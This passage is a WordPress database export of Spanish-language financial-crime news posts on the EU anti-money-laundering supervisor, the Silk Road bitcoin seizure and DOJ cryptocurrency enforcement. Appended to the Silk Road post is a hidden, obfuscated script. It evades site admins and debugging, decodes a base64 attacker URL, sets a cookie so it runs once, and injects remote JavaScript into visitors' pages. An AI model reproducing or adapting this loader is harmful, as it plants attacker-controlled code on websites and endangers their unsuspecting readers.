indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son 